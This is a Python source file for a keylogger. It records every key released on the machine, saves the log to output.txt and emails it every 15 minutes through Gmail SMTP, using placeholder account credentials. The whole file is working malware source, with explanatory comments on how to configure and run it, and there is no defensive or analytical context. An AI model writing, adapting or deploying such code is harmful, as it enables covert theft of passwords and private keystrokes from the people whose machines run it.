text: import keyboard  # for keylogs
  import smtplib  # for sending email using SMTP protocol (gmail)
  
  # Semaphore is for blocking the current thread # Timer is to make a method runs after an `interval` amount of time
  from threading import Semaphore, Timer
  
  SEND_REPORT_EVERY = 900  # 15 minutes
  EMAIL_ADDRESS = "Your_Email_Goes_Here"
  EMAIL_PASSWORD = "Your_Password_Goes_Here"
  
  
  class Keylogger:
      def __init__(self, interval):
          # we gonna pass SEND_REPORT_EVERY to interval
          self.interval = interval
          # this is the string variable that contains the log of all
          # the keystrokes within `self.interval`
          self.log = ""
          # for blocking after setting the on_release listener
          self.semaphore = Semaphore(0)
  
      def callback(self, event):
          # This callback is invoked whenever a keyboard event(Key Press) is occured
          name = event.name
          if len(name) > 1:
              # not a character, special key (e.g ctrl, alt, etc.)
              # uppercase with []
              if name == "space":
                  # " " instead of "space"
                  name = " "
              elif name == "enter":
                  # add a new line whenever an ENTER is pressed
                  name = "[ENTER]\n"
              elif name == "decimal":
                  name = "."
              else:
                  # replace spaces with underscores
                  name = name.replace(" ", "_")
                  name = f"[{name.upper()}]"
  
          self.log += name
          # Write the key logs to a file
          # Comment next two lines if you don't want to log in a file and want just a email to be sent.
          output = open("output.txt", "w+")
          output.write(self.log)
  
      def sendmail(self, email, password, message):
          # manages a connection to an SMTP server
          server = smtplib.SMTP(host="smtp.gmail.com", port=587)
          # connect to the SMTP server as TLS mode
          server.starttls()
          # login to the email account
          server.login(email, password)
          # send the actual message
          server.sendmail(email, email, message)
          # terminates the session
          server.quit()
  
      def report(self):
          """
          This function gets called every `self.interval`
          It basically sends keylogs and resets `self.log` variable
          """
          if self.log:
              # if there is something in log, report it
              self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
              # print to the Terminal
              # print(self.log)
          self.log = ""
          Timer(interval=self.interval, function=self.report).start()
  
      def start(self):
          # start the keylogger
          keyboard.on_release(callback=self.callback)
          # start reporting the keylogs
          self.report()
          # block the current thread,
          # since on_release() doesn't block the current thread
          # if we don't block it, when we execute the program, nothing will happen
          # that is because on_release() will start the listener in a separate thread
          self.semaphore.acquire()
  
  
  if __name__ == "__main__":
      keylogger = Keylogger(interval=SEND_REPORT_EVERY)
      keylogger.start()
  